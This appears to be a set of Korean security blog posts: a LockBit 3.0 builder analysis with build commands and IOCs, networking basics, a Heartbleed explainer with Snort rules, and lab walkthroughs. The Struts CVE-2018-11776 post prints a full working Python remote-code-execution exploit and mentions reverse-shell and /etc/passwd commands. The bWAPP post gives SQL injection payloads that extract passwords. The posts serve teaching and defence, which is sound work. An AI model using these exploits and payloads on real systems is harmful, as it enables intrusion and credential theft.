1. 개요

- 록빗(LockBit) 내 개발자로 보이는 인물이 파일을 암호화 하는 인크립터의 코드 공개

- LockBit 3.0 랜섬웨어 빌더는 깃헙에서 다운로드가 가능함

 

랜섬웨어 그룹도 내부자 위협을 겪는다? 록빗 3.0 빌더 공개돼

랜섬웨어 조직들이 기업화 됨에 따라 보다 강력해지고 있기도 하지만 일반 기업들이 겪는 어려움을 똑같이 겪고 있기도 하다. 바로 불만을 품은 직원들이 일탈 행위를 하는 것이다. 우리는 그것

www.boannews.com

2. 분석

- LockBit 3.0 랜섬웨어 빌더는 총 5개의 파일로 구성되어 있음

[캡쳐 1] Lockbit 3.0

- 빌더 순서도는 다음과 같음

[캡쳐 2] 빌더 순서도

2.1 Build.bat

- keygen.exe를 실행하여 공개키/비밀키 쌍을 생성

- 생성된 키쌍을 사용해 Lockbit 3.0 랜섬웨어를 생성하는 builder.exe를 실행 

명령줄 설명
ERASE /F /Q %cd%\Build\*.* Build 폴더의 모든 파일 삭제
keygen -path %cd%\Build -pubkey pub.key -privkey priv.key keygen.exe를 실행해 pub.key(공개키_암호화 시 사용)/priv.key(개인키_복호화 시 사용) 쌍 생성
builder -type dec -privkey %cd%\Build\priv.key -config config.json -offile %cd%\Build\LB3Decryptor.exe priv.key와 config.json을 사용해 복호기(LB3Decryptor.exe) 생성
builder -type enc -exe -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3.exe pub.key와 config.json을 사용해 exe 파일 형식의 암호기(LB3.exe) 생성
builder -type enc -exe -pass -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_pass.exe pub.key와 config.json을 사용해 exe 파일 형식의 암호가 지정된 암호기(LB3_pass.exe) 생성
builder -type enc -dll -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_Rundll32.dll pub.key와 config.json을 사용해 dll 파일 형식의 암호기(LB3_Rundll32.dll) 생성
builder -type enc -dll -pass -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_Rundll32_pass.dll pub.key와 config.json을 사용해 dll 파일 형식의 암호가 지정된 암호기(LB3_Rundll32_pass.dll) 생성
builder -type enc -ref -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_ReflctiveDll_DllMain.dll pub.key와 config.json을 사용해 Reflctive-DLL 파일 형식의 암호가 지정된 암호기(LB3_ReflctiveDll_DllMain.dll) 생성
exit 종료

- 해당 파일을 실행하면 다음과 같은 파일이 생성됨

[캡쳐 3] Builder.exe 생성 파일

 

2.2 config.json

- 암호화기와 복호화기를 생성하기 위한 설정 값이 저장되어 있으며, 랜섬노트 내용을 커스터마이징 할 수 있음

- bot: 감염된 기기에서 정보를 훔치는 봇 기능에 대한 설정
- config: 설정 값 - 아래 표 참고

변수 설명
encrypt_mode 암호화 모드 지정
encrypt_filename 파일 암호화 여부
impersonation 저장된 자격 증명을 통한 로그인 수행 여부
skip_hidden_folders 암호화 대상에서 숨김폴더 제외 여부
language_check CIS 국가(독립국가연합) 체크 여부
local_disks 마운트 후 로컬 디스크 암호화 여부
network_shares 네트워크 공유 폴더 암호화 여부
kill_processes 특정 프로세스 종료 여부
kill_services 특정 서비스 종료 여부
running_one 뮤텍스 생성 여부
*뮤텍스 - 랜섬웨어에서 중복 암호화 방지 목적의 랜덤한 값
print_note 랜섬노트 생성 여부
* 랜섬노트를 통해 복구 비용 지불을 위한 정보를 알려줌
set_wallpaper 바탕화면 변경 여부
* 랜섬웨어 감염 여부를 알리기 위함
set_icons 암호화된 파일 아이콘 변경 여부
send_report 감염된 시스템에서 탈취한 정보와 관련된 보고서 전송 여부
self_destruct 자체 삭제 기능 수행 여부
kill_defender 특정 AV 소프트웨어  종료 여부
wipe_freespace 자체 삭제를 수행할 때 추가적인 기능 여부
psexec_netspread psexec를 사용한 네트워크 전파 여부
* Pxexec 는 cmd 로 원격제어를 할 수 있는 경량 원격 제어 프로그램
gpo_netspread GPO를 사용한 네트워크 전파 여부
* GPO(Group Policy Object) : 관리자들이 컴퓨터 및 사용자 사용 권한을 중앙에서 한번에 제어할 수 있도록 관리작업을 단순화 하는 규칙의 집합
gpo_ps_update powershell 명령을 사용하여 모든 도메인에서 시스템 그룹 정책을 업데이트할지 여부
shutdown_system 시스템 재부팅 여부
delete_eventlogs event log 삭제 여부
* 복구를 어렵게(혹은 불가능)하게 하기위해 event log 등 일부 log를 삭제함
delete_gpo_delay 실행 후 gpo 삭제 여부

- 또한, 암호화에서 제외할 목록 및 암호화 전 종료할 프로세스와 서비스, C2 서버 등을 지정할 수 있음

변수 설명
white_folders - 암호화에서 제외할 폴더 목록
white_files - 암호화에서 제외할 파일 목록
white_extens - 암호화에서 제외할 확장 목록
white_hosts - 암호화에서 제외할 호스트 이름 목록
kill_processes - 암호화 전에 종료할 프로세스 목록
* 원활한 감염을 위함
kill_services - 암호화 전 종료될 서비스 목록
* 원활한 감염을 위함
gate_urls - C2 서버로 사용할 URL 목록
impers_accounts - 로그온에 사용할 자격 증명 목록
* ID:PW 구조
note - 랜섬노트 출력 내용

[캡쳐 4] config.json 설정 목록

 

2.3 Builder.exe

- LockBit 3.0 암호화기 및 복호화기를 생성하는 도구

- 실행 시 사용되는 파라미터 정보

파라미터 설명
-type - enc: 암호화기 생성
- dec: 복호화기 생성
-config - 설정 파일 경로
-exe, -dll, -ref(reflectiveDLL) - 생성할 파일 형식
-pass - 암호화기 생성 시 암호화기 실행에 필요한 비밀번호
- 암호화기 실행에 필요한 암호는 Password_exe.txt와 Password_dll.txt에 각각 저장
-pubkey, -privkey - 암복호화기 생성 시 사용할 키 파일의 경로
-ofile - 저장할 파일 경로

 

2.4 Keygen.exe

- 암복호화를 위한 공개키/개인키 키쌍 생성

- MIRACL 기반으로 작성

파라미터 설명
-path - 생성된 키 쌍 파일을 저장할 폴더 경로
-pubkey, -privkey  - 암호화기가 공개키/개인키로 사용할 파일명(256바이트)

3. IOC 정보

- IOC에서 확인되는 정보를 엔드단 보안장비(EDR, AV 등)에 적용해 탐지 및 차단 필요(지속 모니터링을 통한 최신화 필요)

파일명 유형 지표
Buid.bat SHA256 8e83a1727696ced618289f79674b97305d88beeeabf46bd25fc77ac53c1ae339
SHA1 804a1d0c4a280b18e778e4b97f85562fa6d5a4e6
MD5 4e46e28b2e61643f6af70a8b19e5cb1f
Config.json SHA256 3f7518d88aefd4b1e0a1d6f9748f9a9960c1271d679600e34f5065d8df8c9dc8
SHA1 f3ed67bdaef070cd5a213b89d53c5b8022d6f266
MD5 a6ba7b662de10b45ebe5b6b7edaa62a9
Buid.exe SHA256 a736269f5f3a9f2e11dd776e352e1801bc28bb699e47876784b8ef761e0062db
SHA1 6ae7dc2462c8c35c4a074b0a62f07cfef873c77
MD5 c2bc344f6dde0573ea9acdfb6698bf4c
Keygen.exe SHA256 ea6d4dedd8c85e4a6bb60408a0dc1d56def1f4ad4f069c730dc5431b1c23da37
SHA1 bf8ecb6519f16a4838ceb0a49097bcc3ef30f3c4
MD5 71c3b2f765b04d0b7ea0328f6ce0c4e2

4. 참조

https://rhisac.org/threat-intelligence/lockbit-3-0-builder-code-leak-technical-analysis/

https://isarc.tachyonlab.com/2811

https://blog.alyac.co.kr/4923

 

'랜섬웨어 > 분석' 카테고리의 다른 글

LockBit 랜섬웨어 동향  (0) 2023.06.16
다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
ESXiArgs Ransomware  (0) 2023.02.15
Masscan 랜섬웨어  (0) 2022.10.12

1. IP(Internet Protocol)

- 네트워크에서 어떤 정보를 수신하고 송신하는 통신에 대한 규약

2. IP 주소(Internet Protocol Address)

- 네트워크에서 장치들이 서로를 인식하고 통신을 하기 위해서 사용하는 번호, 즉 컴퓨터를 식별할 수 있는 고유한 번호

- 네트워크 계층의 주소체계

- 네트워크 부분호스트 부분으로 나뉘어짐

- 윈도우의 경우 ipconfig 명령, 리눅스의 경우 ifconfig 명령으로 확인 가능함.

 

2.1. IPv4

- 32bit 주소길이를 가진 논리적 주소체계이며, 8bit 씩 4부분으로 .로 구분

- 효율적인 IP 사용을 위해 A, B, C, D, E Class로 구분

* Class 별 호스트의 주소를 계산할 때 네트워크 자체 주소와 브로드캐스트 주소를 제외해 주어야함

- 약 43억개의 서로다른 주소를 부여할 수 있으나, 인터넷 사용자 급증으로 고갈될 문제에 처해 IPv6가 등장

[캡쳐 1] Class별 네트워크 부분 및 호스트 부분

- 사설 IP/공인 IP, 고정 IP/유동 IP로 나눌 수 있음

구분 명칭 설명
IP 공개 여부에 따른 구분 공인 IP - ISP에 의해 할당되며, 개인 또는 회사의 서버에 할당
- 내/외부 모두 접근 가능하며, 인터넷 상에서 유일한 주소
사설 IP - 라우터(공유기)에 의해 할당되며, 개인 또는 회사 내 호스트에 할당
- 외부에서 접근은 불가하며, 하나의 네트워크 내에서 유일한 주소
- Class A 사설 IP : 10.0.0.0 ~ 10.255.255.255
- Class B 사설 IP : 172.16.0.0 ~ 172.31.255.255
- Class C 사설 IP : 192.168.0.0 ~ 192.168.255.255
IP 고정 여부에 따른 구분 고정 IP - 고정적으로 부여된 IP
- 한번 부여되면 IP를 반납하기 전까지는 다른 장비에 부여할 수 없는 주소
유동 IP - 고정적으로 IP를 부여하지 않고 남아 있는 IP 중에서 돌아가면서 부여하는 IP
- ex) DHCP
* DHCP 서버에서 IP 169.254.X.X를 받아올 경우 DHCP 서버와 통신할 수 없다는 의미

- 특수한 목적을 위해 예약된 IP는 다음과 같음

[캡쳐 2] 예약된 IP (https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=p_rain&logNo=220878796660)

2.2 IPv6

- IPv4 주소체계의 IP 고갈에 대비하기 위해 등장

특징 설명
확장된 주소 공간 - 128비트 주소체계를 사용 (IPv4의 주소부족 문제를 해결)
- IP주소를 절약하기 위해 사용되는 NAT(Network Address Translation)와 같은 주소변환 기술도 불필요
새로운 헤더 포맷 - 고정 길이 헤더
- 패킷 단편화(fragmentation) 관련 필드, 체크섬 (checksum) 필드 삭제
향상된 서비스의 지원 - 트래픽을 효과적으로 분류할 수 있는 기능을 제공
- 이를 위해 IPv6 헤더 내에 플로우 레이블(Flow Label) 필드를 이용
보안 기능 - IPv6에서는 프로토콜 내에 보안관련 기능을 탑재할 수 있도록 설계
- 확장헤더를 통하여 네트워크 계층에서의 종단간 암호화를 제공
* IPv4에서의 IPSec이라는 보안 관련 프로토콜을 별도 설치 필요
주소 자동설정 - 로컬 IPv6주소를 LAN상의 MAC주소와 라우터가 제공하는 네트워크 프리픽스(prefix)에 결합하여 IP주소를 자동 생성
- 이동형 컴퓨터의 경우 어느 곳에서든 네트워크와 연결을 설정하면 자동으로 포워딩 주소를 설정할 수 있게 함

 

2.3 비교

구분 IPv4 IPv6
주소길이 32bit 128bit
표기방법 8bit 씩 4부분으로 .로 구분
ex) 192.168.1.2
16bit 씩 8부분으로 :로 구분
ex) 2002:0221:ABCD:DCBA:0000:0000:FFFF:4002
주소개수 약 43억개 약 2^128개 (43억 X 43억 X 43억 X 43억)
* IPv4의 IP 고갈로 등장
주소할당 방식 클래스 단위 비순차 할당 네트워크 규모, 단말기 수에 따라 순차할당
주소 유형 유니캐스트, 멀티캐스트, 브로드캐스트 유니캐스트, 멀티캐스트, 애니캐스트
헤더크기 가변 고정
QoS 제공 미흡 제공
보안 IPSec 프로토콜 별도 설치 IPSec 프로토콜 자체 제공
서비스 품질 제한적 품질 보장 확장된 품질 보장
Plug & Play 불가 가능

 

3. MAC (Media Access Control Address)

- 48bit로 이루어져 있는 물리적 주소체계이며, 앞 24bit는 제조사번호, 뒤 24bit는 시리얼번호를 의미

- 네트워크 인터페이스 카드(NIC)에 할당된 고유 식별자

- 데이터링크 계층의 주소체계

 

4. 참조

https://steady-coding.tistory.com/521

https://blog.naver.com/hai0416/221564816863

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=hai0416&logNo=221566797342 

'기타 > 네트워크' 카테고리의 다른 글

OSI 7 Layer와 TCP/IP 4 Layer  (0) 2022.08.10

1. OpenSSL

- 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 암호화 라이브러리
- C 언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있음

2. HeartBleed

- 클라이언트와 서버는 계속 신호를 주고 받으며 연결상태를 확인하는데 이를 "하트비트(Heartbeat)"라 함

하트비트(Heartbeat)란?
1. 일종의 Echo Request/Echo Reply처럼 서버의 기동 여부를 진단하기 위한 프로토콜
2. 특정 Echo Request를 보내고, 반환 받을 크기를 지정하면 해당 크기만큼 Echo Reply 응답

- '하트비트' 과정 중, 서버가 클라이언트의 요청에 응답할 때 정상적인 응답내용 외 추가정보(중요정보)를 포함한 응답이 전송되어 정보가 노출될 수 있어 HeartBleed로 불림
- 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 응답하여 발생

HeartBleed란?
1. 반환 받을 크기 지정 시 보낸 메세지보다 훨씬 크게 지정(최대 64KB)하여 보낼 수 있는 취약점이 존재
2. 1KB를 보내면서 64KB를 요청 할 경우 나머지 63KB는 메모리에 있는 임의 데이터가 보내짐
3. 위와 같은 동작을 반복하면 메모리상에 흐르는 임의 데이터를 지속적으로 탈취할 수 있음

- 당시 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 영향을 받을 수 있었음

3. CVE-2014-0160

[캡쳐 1] https://nvd.nist.gov/vuln/detail/cve-2014-0160

- 취약한 버전의 OpenSSL은 공격자의 조작된 요청에 의해 메모리에서 중요한 정보를 얻을 수 있음.

취약한 버전 : OpenSSL 1.0.1 ~ 1.0.1f
원인 : Heartbeat Extension 패킷을 제대로 처리하지 못하여 원격 공격자가 버퍼 오버 읽기를 유발
영향 : 조작된 패킷을 통해 프로세스 메모리에서 중요한 정보를 얻을 수 있음
[캡쳐 2] 공격원리 (https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884)

- [캡쳐 2] 과정을 다음에 비유할 수 있음

1. 엘리스(클라이언트)는 밥(서버)에게 봉투에 100원을 넣고, 1000원이 들었다는 정보와 함께 전송
2. 밥(서버)은 100원을 확인하고, 나머지 900원을 합하여 엘리스(클라이언트)에 응답
3. 엘리스(클라이언트)에게 900원에 해당하는 정보가 유출 됨

4. 실습

4.1) PoC 분석

- PoC는 먼저 서버와 TLS를 이용한 보안 연결을 맺는 것부터 시작하며, 보안 연결이 설정된 이후 s.send(hb) 함수를 통해 Heartbeet 요청을 전송

[캡쳐 3] Heartbeat 요청 메세지
// 첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알림
18 : TLS record is a heartbeat
03 02 : TLS version 1.1

// 다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시
00 03 : Length
01 : Heartbeat request

// 공격의 핵심
// payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않음
// 16진수로 4000은 16384
40 00 : Payload length(16384bytes)

4.2) 취약점 코드

- 취약한 소스코드를 확인해 보면 사용자 요청 메시지에 대한 길이를 검사하지 않는 것을 확인할 수 있음

[캡쳐 4] 취약한 소스 코드

4.3) 취약점 실습

- 비박스에서 Heartbleed 취약점을 실습해 볼 수 있으며, HTTPS와 8443포트로 접속해야 함

[캡쳐 5] 비박스 Heartbleed

- 로그인 후 공격 스크립트를 실행시키면 Heartbeat 응답 메세지를 확인할 수 있음.

* 스크립트를 실행하면 결과가 길어 확인이 불편하므로, more 명령으로 내용 확인

[캡쳐 6] Heartbeat 응답

- Heartbeet 응답값을 확인하면 로그인정보와 쿠키값이 노출된 것을 볼 수 있으며, 이외에도 추가 정보 유출이 가능함

* 추가정보 : SSL 서버 비밀키, 세션키 등 / 노출되는 정보는 서비스 환경마다 다름

[캡쳐 7] 로그인 정보 유출

- 해당 패킷을 와이어샤크로 확인하면 [캡쳐 6]과 같음

[캡쳐 8] 와이어샤크

5. 대응방안

1. 시스템 측면 방안
- 최신 업데이트를 적용
- 사용자 요청 메시지에 대한 길이를 검사하도록 코드 추가

[캡쳐 9] 패치 코드

- 업데이트 적용이 어려울 경우 버전 확인 및 Heartbeat 프로토콜 비활성화

1. Open SSL 버전 확인 명령
openssl version -a
2. Open SSL Heartbeat 활성화 여부 확인 명령
// Heartbeat 기능이 활성화되어 있는 경우 heartbeat 문자열이 검색됨
openssl s_client -connect domain.com:443 -tlsextdebug -debug -state | grep -i heartbeat

2. 네트워크 측면 방안
- SSL 서비스 포트에 대해 공격 요청 시 전송되는 |18 03 ??| 탐지 패턴 적용

alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

03 00은 SSLv3.0 / 03 01은 TLSv1.0 / 03 02는 TLSv1.1

3. 서비스 관리 측 방안
- 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성을 배제할 수 없기 때문에 인증서 재발급 검토
- 취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해를 방지하는 방안 고려

6. 참조

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884
https://heartbleed.com/
https://jmoon.co.kr/164

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
Brute Force Attack  (0) 2022.11.16
robots.txt  (0) 2022.08.30

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

2. CVE-2018-11776

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2018-11776

- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.

- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.

취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16
조건
1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정)
2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음.
결과
웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음.
OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어

 

2.1) PoC 분석

#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

- 해당 PoC를 확인해보면 namespace를 지정하지 않고, allowStaticMethodAccess 값을 true로 지정

- iswin 변수로 운영체제 종류(Win or Linux)를 파악 후 cmd 변수(공격자가 입력한 명령)로 명령문을 완성 및 요청 전송

 

2.2) 취약점 실습

 

GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

Working Python test and PoC for CVE-2018-11776, includes Docker lab - GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

github.com

- 도커 이미지 다운로드 및 실행(도커 컨테이너는 8080포트, 호스트 시스템은 32773 포트 사용)

$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32773:8080 piesecurity/apache-struts2-cve-2017-5638

- 도커 내부 및 설정 파일 접근

$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

- <struts>에 매퍼 추가([캡쳐 2]) 및 <package name="default" extends="struts-default">에 리다이랙션([캡쳐 3]) 추가

[캡쳐 2] <struts> 추가 내용
[캡쳐 3] <package name="default" extends="struts-default"> 추가 내용

- 컨테이너 재시작

$ exit
$ docker restart struts2\

- Apache Struts2 정상 동작 확인

[캡쳐 4] Apache Struts2 정상 동작

- curl을 통해 OGNL 표현식 변환 확인 (${2+2} 인코딩 -> $%7b2%2b2%7d)

- ${2+2} 네임스페이스를 요청하였으나, Location 헤더가 /4/date.action으로 변경 되었고, OGNL 표현식이 실행되었음을 의미

[캡쳐 5] OGNL 표현식 변환

- cmd(PoC에서 명령을 지정하는 매개변수)에 id 명령(사용자의 user, group 정보를 출력하는 명령)를 삽입 및 전송

- cmd 값을 id가 아닌 cat /etc/passwd, wget을 이용한 파일 다운로드, 리버스쉘 생성 등으로 조작 가능함

[캡쳐 6] id 명령 실행 결과 반환

- [캡쳐 6]을 와이어샤크를 통해 확인하면 [캡쳐 7]과 같음

[캡쳐 7] 패킷 캡쳐

3. 대응방안

1. 취약점이 패치된 버전으로 업그레이드

- cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는것을 방지

[캡쳐 8] 패치 코드

2. 취약점 탐지 및 차단

- allowStaticMethodAccess 옵션을 활성화(true)하여 해당 취약점을 이용함.

- 해당 문자열을 토대로 패턴 생성 및 적용

alert tcp any any -> any any (msg:"Apache Struts2 RCE"; content:"allowStaticMethodAccess"; nocase; content:"true"; nocase;)

4. 참조

1. https://www.secjuice.com/apache-struts2-cve-2018-11776/

2. https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

3. https://koromoon.blogspot.com/2018/09/cve-2018-11776-apache-struts2-s2-057.html

4. https://bziwnsizd.tistory.com/75

개요 - 록빗 내 개발자로 보이는 인물이 파일을 암호화 하는 인크립터의 코드를 공개
- 가장 최신 버전인 록빗 3.0(LockBit 3.0) 혹은 록빗블랙(LockBit Black) 공개
- 현재 이 인크립터 코드는 깃허브를 통해 열람이 가능

<록빗>
- 2019년 최초 등장 후 현재 가장 세력이 큰 랜섬웨어 조직
- 2022년 상반기 록빗 관련 공격사례 1843건이며, 1월~5월 발생한 록빗 2.0이 전체 랜섬웨어 공격의 46%를 차지
영향 - 유출된 코드를 분석했을 때 진짜 록빗 3.0의 구성 요소가 맞으며, 록빗 운영자들도 소셜미디어를 통해 유출된 빌더가 자신들이 사용해 오던 정상 빌더라고 밝힘
- 누구나 조금의 코딩 지식만 있으면 랜섬웨어를 만들 수 있음 (복호화를 위한 키 생성기도 포함되어 있음)
- 비슷하거나 새로운 멀웨어의 출현하는 부정적 영향과 동시에 해당 코드를 분석해 랜섬웨어를 막는 방법이 개발되거나 중요 정보를 추출될 수 있는 긍정적 영향이 공존

 

- 보안뉴스

 

랜섬웨어 그룹도 내부자 위협을 겪는다? 록빗 3.0 빌더 공개돼

랜섬웨어 조직들이 기업화 됨에 따라 보다 강력해지고 있기도 하지만 일반 기업들이 겪는 어려움을 똑같이 겪고 있기도 하다. 바로 불만을 품은 직원들이 일탈 행위를 하는 것이다. 우리는 그것

www.boannews.com

 

SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

 

버프슈트(Burp Suite)

1. 버프슈트(Burp Suite) - 프록시(Proxy) 서버를 사용하여 클라이언트와 서버가 주고받는 패킷을 가로채 위변조가 가능하게 해주는 프로그램 - 웹 취약점 점검 또는 웹 해킹에 주로 사용 Burp Suite - App

ggonmerr.tistory.com

